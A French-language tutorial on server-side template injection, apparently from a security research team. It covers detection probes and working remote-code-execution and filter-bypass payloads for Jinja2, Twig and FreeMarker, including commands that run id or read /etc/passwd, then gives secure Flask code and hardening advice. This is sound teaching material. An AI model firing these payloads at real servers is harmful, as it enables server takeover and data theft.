Les applications web contemporaines s'appuient massivement sur des moteurs de templates pour générer dynamiquement des pages HTML en combinant des gabarits statiques et des données d'exécution. Des technologies telles que Jinja2 en Python, Twig en PHP ou Apache FreeMarker en Java permettent d'accélérer le cycle de développement tout en séparant la logique métier de la présentation. Cependant, lorsqu'une faille de conception conduit à concaténer des entrées utilisateurs non fiables directement dans la chaîne du template, l'application s'expose à l'une des vulnérabilités les plus dévastatrices du web moderne : l'Injection de Modèle Côté Serveur (SSTI ou Server-Side Template Injection).
Contrairement aux failles Cross-Site Scripting (XSS), qui s'exécutent dans le navigateur de l'utilisateur final, l'injection SSTI est exécutée directement par l'interpréteur ou la machine virtuelle du serveur backend, sous les privilèges du compte exécutant le service web. Ce qui ressemble au départ à un anodin défaut de présentation évolue très fréquemment en exécution de code arbitraire à distance (RCE), compromission totale du système de fichiers, rebond sur le réseau interne et exfiltration de secrets d'infrastructure.
Dans ce guide technique exhaustif, l'équipe de recherche en sécurité offensive de Cayvora analyse les mécanismes fondamentaux du SSTI : l'arbre de décision de détection théorisé par James Kettle (PortSwigger), l'armement des vecteurs d'attaque sur les principaux moteurs (Jinja2, Twig, FreeMarker), les techniques d'évasion de filtres stricts, les architectures vulnérables comparées aux implémentations sécurisées, ainsi que les recommandations concrètes de remédiation défensive.
1. Qu'est-ce que l'Injection de Modèle Côté Serveur (SSTI) ?
Pour appréhender le fonctionnement d'une faille SSTI, il convient d'abord d'examiner le cycle de vie normal d'un moteur de rendu de templates. En situation nominale, le moteur traite deux composants distincts :
- La définition statique du template : Un fichier ou une chaîne précompilée écrite par les développeurs, contenant le balisage HTML fixe et des balises d'expression dynamiques (telles que
{{ ... }}ou${ ... }). - Le contexte de données : Un dictionnaire d'objets transmis lors de l'exécution, contenant les valeurs des variables (noms d'utilisateurs, dates, enregistrements de bases de données).
Lorsque le moteur fonctionne de manière sécurisée, il compile le template statique en un arbre syntaxique abstrait (AST), évalue les variables dynamiques par rapport au dictionnaire de contexte, applique un échappement contextuel automatique (par exemple pour neutraliser le code HTML malveillant), et émet la page finale.
La vulnérabilité se produit lorsque les développeurs concatènent dynamiquement les données utilisateur non assainies directement dans la chaîne source du template avant sa compilation, au lieu de les transmettre en tant que variables de contexte. Le moteur de template traite alors l'entrée utilisateur comme faisant partie intégrante de la syntaxe du template. Il compile et exécute les directives malveillantes injectées.
Considérons l'erreur architecturale fondamentale en pseudocode :
// MOTIF SÉCURISÉ : L'entrée utilisateur reste confinée au contexte
render("profil.html", {"username": user_input})
// MOTIF VULNÉRABLE : L'entrée utilisateur est compilée comme syntaxe
render("Bonjour " + user_input + " ! Bienvenue.", {})
Dans le second cas, si user_input contient des balises de template telles que {{ 7 * 7 }} ou des fonctions d'introspection, le moteur les interprète et les exécute sur le serveur hôte.
2. L'Arbre de Décision de Détection (Méthodologie PortSwigger)
Détecter un SSTI lors d'un test d'intrusion en boîte noire ou grise exige une démarche méthodique et déterministe. Une injection aveugle sans compréhension des moteurs mène fréquemment à de faux négatifs. La méthodologie mise au point par James Kettle repose sur l'injection d'expressions arithmétiques universelles et l'observation différentielle des comportements de rendu.
La séquence initiale d'investigation utilise différents délimiteurs de syntaxe :
${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
*{7*7}
Branche A : L'expression s'évalue en 49
Si la réponse HTTP rend 49 au lieu du texte brut injecté, l'exécution de code au niveau du template est confirmée. Il s'agit ensuite d'identifier avec précision le moteur sous-jacent :
- Si
${7*7}donne 49 : Le moteur appartient généralement à l'écosystème Java ou PHP (FreeMarker, Smarty, MVEL, SpEL).- Testez
${"z".join("ab")}ou${.version}. Si Apache FreeMarker est en service,${.version}renvoie le numéro de version précis. - Testez
${smarty.version}. Dans l'environnement Smarty (PHP), cette variable affiche la version active.
- Testez
- Si
{{7*7}}donne 49 : On discrimine entre les moteurs Python (Jinja2/Django) et PHP (Twig) en testant la multiplication de chaînes contre la coercition numérique :{{7*'7'}}- Résultat :
49— Le moteur a converti la chaîne'7'en entier pour accomplir une multiplication arithmétique : c'est le comportement distinctif de Twig (PHP). - Résultat :
7777777— Le moteur a interprété la chaîne comme une séquence textuelle et l'a répétée 7 fois : cela confirme formellement Jinja2 (Python) ou Django.
- Résultat :
Différencier Jinja2 de Django
Bien que Django et Jinja2 partagent une syntaxe visuelle très proche basée sur les doubles accolades, le moteur de template natif de Django applique un modèle de sécurité extrêmement strict : il interdit l'exécution de méthodes arbitraires avec des arguments, l'appel de fonctions arbitraires et l'accès aux attributs internes de réflexion. Une tentative d'accès telle que {{ ''.__class__ }} renvoie une chaîne vide dans Django natif, tandis que Jinja2 expose l'intégralité du modèle objet Python sous-jacent.
La Sonde Polyglotte Universelle
Dans les environnements complexes où des microservices hétérogènes traitent successivement les paramètres d'entrée, les auditeurs injectent une chaîne polyglotte conçue pour déclencher des erreurs de syntaxe révélatrices :
${{<%[%'"}}%\
L'observation des traces de débogage ou des erreurs 500 générées révèle immédiatement le parseur en cause (ex. jinja2.exceptions.TemplateSyntaxError, freemarker.core.ParseException ou Twig\Error\SyntaxError).
3. Exploitation de Jinja2 (Python) vers l'Exécution de Code Arbitraire (RCE)
Jinja2 est le moteur de gabarits prédominant dans les architectures Python modernes telles que Flask ou Quart. En raison du modèle objet hautement réflexif de Python, un attaquant capable d'évaluer une expression peut remonter l'arbre d'héritage depuis un objet littéral quelconque pour invoquer des fonctions système.
Navigation dans le modèle objet Python depuis une chaîne vide
En Python, tout type hérite en dernier ressort de la classe fondamentale object. En interrogeant l'attribut __class__ d'une chaîne vide littérale "", puis l'ordre de résolution des méthodes via __mro__, puis l'ensemble des sous-classes chargées via __subclasses__(), on accède à l'intégralité de la mémoire des classes enregistrées dans le processus :
# Traversée de la hiérarchie d'héritage Python :
"".__class__.__mro__[1].__subclasses__()
En Python 3, "".__class__.__mro__[1] retourne <class 'object'>. L'appel de .__subclasses__() renvoie une liste dynamique comportant des centaines de classes instanciées, incluant des adaptateurs réseau, des gestionnaires de flux et des modules d'exécution de processus.
Localisation des primitives d'exécution système
Parmi les sous-classes accessibles, plusieurs classes permettent de lancer des commandes système :
subprocess.Popen: L'interface d'instanciation directe de sous-processus du système d'exploitation.os._wrap_close: Dont le dictionnaire interne__init__.__globals__contient une référence directe au moduleos.warnings.catch_warnings: Offrant souvent un accès indirect aux espaces de noms intégrés.
Si la classe subprocess.Popen se situe par exemple à l'index 133 de la liste des sous-classes (cet index dépendant des dépendances importées par l'application), la commande suivante exécute id sur le serveur :
{{ "".__class__.__mro__[1].__subclasses__()[133]('id',shell=True,stdout=-1).communicate()[0].strip() }}
Pour s'affranchir d'un index numérique rigide et susceptible de changer entre deux redémarrages, les charges modernes énumèrent dynamiquement les sous-classes à l'aide d'une compréhension de liste ou exploitent les fonctions globales injectées par le framework :
{{ [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'Popen'][0]('cat /etc/passwd', shell=True, stdout=-1).communicate()[0] }}
Contournement de filtres : Utilisation de request.args
Les pare-feu applicatifs (WAF) et les mécanismes d'assainissement d'entrées filtrent fréquemment les guillemets simples ou doubles, les crochets ou les caractères de soulignement. Pour contourner ces restrictions, l'attaquant peut faire référence aux paramètres de la requête HTTP sans insérer de guillemets dans le corps du template :
{{ lipsum.__globals__['os'].popen(request.args.cmd).read() }}
L'attaquant transmet sa requête sous la forme suivante :
GET /render?template={{lipsum.__globals__['os'].popen(request.args.cmd).read()}}&cmd=whoami
Si même les crochets et les guillemets sont totalement interdits dans l'expression injectée, les filtres Jinja2 permettent une navigation purement fonctionnelle :
{{ lipsum|attr(request.args.g)|attr(request.args.o)|attr(request.args.p)(request.args.c)|attr(request.args.r)() }}
En passant les variables ?g=__globals__&o=get&p=popen&c=id&r=read, la charge utile injectée dans le template est totalement exempte de guillemets, d'underscores et de crochets.
4. Exploitation de Twig (PHP)
Twig est le moteur de templates emblématique du framework Symfony et propulse de nombreux systèmes de gestion de contenu tels que Drupal ou Craft CMS. Au fil des évolutions, l'équipe de Twig a renforcé la sécurité, mais les techniques d'armement ont suivi.
Versions historiques de Twig (Twig 1.x)
Dans les versions 1.x de Twig, l'objet d'environnement interne était accessible via la variable _self. Il était possible d'enregistrer une fonction native PHP arbitraire comme gestionnaire de filtres non définis :
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Lorsque le moteur tentait de résoudre le filtre inexistant id, il déclenchait le callback enregistré avec la valeur passée, exécutant ainsi exec("id") sur la machine hôte.
Versions modernes de Twig (Twig 2.x et 3.x) via le filtre Map
Dans Twig 2.x et 3.x, l'accès à _self.env est bloqué. Néanmoins, les attaquants utilisent les filtres de collections intégrés tels que map, filter ou sort, qui prennent en paramètre une fonction de rappel invocable (callable) :
{{['id']|map('system')|join}}
Le filtre map applique la fonction native PHP system() à chaque élément du tableau ['id']. La sortie de la commande est capturée et jointe dans la réponse HTML finale.
D'autres variantes fonctionnelles existent :
{{['cat /etc/passwd']|filter('system')}}
{{['id', '']|sort('passthru')}}
Puisque ces filtres font partie intégrante des primitives standard de Twig, les outils d'analyse statique superficiels ne signalent généralement aucune anomalie dans le code.
5. Exploitation d'Apache FreeMarker (Java)
Apache FreeMarker est un moteur de gabarits très répandu dans les environnements Java d'entreprise et les architectures Spring Boot. FreeMarker inclut des mécanismes prédéfinis conçus pour instancier des classes utilitaires avancées, dont certaines mènent directement à l'exécution de commandes système.
La charge utile Execute Utility
Le vecteur le plus emblématique de FreeMarker utilise la classe intégrée freemarker.template.utility.Execute :
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
L'instruction ?new() instancie la classe Execute, qui implémente l'interface TemplateMethodModelEx. Lors de l'évaluation de ${ ex("id") }, la méthode appelle Runtime.getRuntime().exec() et capture le flux de sortie standard pour le restituer dans la réponse.
Vecteurs alternatifs : ObjectConstructor et réflexion Java
Si la classe Execute est désactivée par configuration, d'autres classes utilitaires peuvent être ciblées :
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
${ ob("java.lang.ProcessBuilder","uname","-a").start() }
Lorsque l'option new_builtin_enabled est désactivée, les auditeurs analysent les beans et objets Spring injectés dans le modèle (par exemple RequestContext) afin d'accéder aux chargeurs de classes et exécuter du code via la réflexion Java.
6. Code Vulnérable vs Code Sécurisé : Exemple Python/Flask
Pour illustrer comment cette vulnérabilité s'introduit dans une base de code et comment l'éliminer de façon pérenne, examinons une application Flask typique :
Implémentation Vulnérable
# VULNÉRABLE : interpolation directe de chaînes dans le template
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
# Le développeur concatène l'entrée utilisateur directement dans le template :
template = f"<h1>Bonjour, {name} !</h1><p>Bienvenue sur le portail Cayvora.</p>"
return render_template_string(template) # Vulnérabilité SSTI !
Dans ce fragment vulnérable, si un utilisateur transmet ?name={{7*7}}, la variable template contiendra <h1>Bonjour, {{7*7}} !</h1>. La fonction render_template_string compile ce code source comme un template Jinja2 complet et évalue l'opération arithmétique.
Implémentation Sécurisée
# SÉCURISÉ : transmission des données en tant que variables de contexte
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
# Le template est statique ; l'entrée est strictement confinée au contexte :
return render_template('hello.html', name=name) # Sécurisé et échappé
Dans le fichier statique correspondant templates/hello.html :
<!DOCTYPE html>
<html>
<body>
<h1>Bonjour, {{ name }} !</h1>
<p>Bienvenue sur le portail Cayvora.</p>
</body>
</html>
Dans cette configuration sécurisée, lorsque l'utilisateur fournit ?name={{7*7}}, le moteur reçoit la chaîne littérale sans jamais la compiler. La valeur est automatiquement échappée en entités HTML et affichée telle quelle dans le navigateur sous forme de texte inoffensif.
7. Mesures Défensives et Bonnes Pratiques d'Ingénierie
La neutralisation des vulnérabilités SSTI repose sur une discipline d'architecture rigoureuse. Les tentatives de filtrage par liste noire de mots-clés ou d'expressions régulières s'avèrent inefficaces face à la flexibilité syntaxique des moteurs modernes.
1. Séparation stricte du code et des données
Ne concaténez jamais des données utilisateur dans le code source d'un template avant sa compilation. Conservez les templates sous forme de fichiers statiques immuables versionnés, et transmettez systématiquement les paramètres dynamiques via les objets de contexte prévus par le framework.
2. Comprendre les limites des environnements restreints (Sandboxes)
Certains moteurs proposent un mode d'exécution en bac à sable (comme SandboxedEnvironment dans Jinja2). Bien que le bac à sable bloque l'accès aux attributs commençant par des caractères de soulignement, la recherche en sécurité découvre régulièrement des mécanismes d'évasion (notamment CVE-2019-8341, CVE-2024-22195 ou CVE-2024-34064). Le sandbox ne doit être considéré que comme une mesure de défense en profondeur, jamais comme un substitut à l'absence de compilation de données non sûres.
3. Appliquer le principe du moindre privilège
Le processus exécutant l'application web doit disposer des privilèges les plus restreints possibles au niveau du système d'exploitation hôte :
- Exécuter les conteneurs d'application avec un système de fichiers racine en lecture seule (
read_only: true). - Utiliser un compte utilisateur système dédié, sans accès
sudoet configuré avec un shell non interactif (/usr/sbin/nologin). - Restreindre les connexions réseau sortantes au strict minimum afin d'empêcher les rebonds et les téléchargements de payloads tiers.
4. Durcissement des moteurs FreeMarker en environnement Java
Dans les applications Java utilisant FreeMarker, désactivez explicitement l'instanciation de classes arbitraires dans la configuration globale du moteur :
Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
// Ou désactiver totalement l'instanciation de nouvelles classes :
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
L'utilisation de ALLOWS_NOTHING_RESOLVER neutralise définitivement toute tentative d'appel au mot-clé ?new() sur des classes Java.
Conclusion
L'injection de modèle côté serveur illustre à quel point la confusion entre code exécutable et données utilisateur peut avoir des conséquences critiques. En quelques étapes d'introspection, un attaquant peut transformer un paramètre d'affichage en prise de contrôle intégrale du serveur. La prévention efficace du SSTI repose sur l'adoption systématique de modèles de conception paramétrés et sur des audits de code réguliers.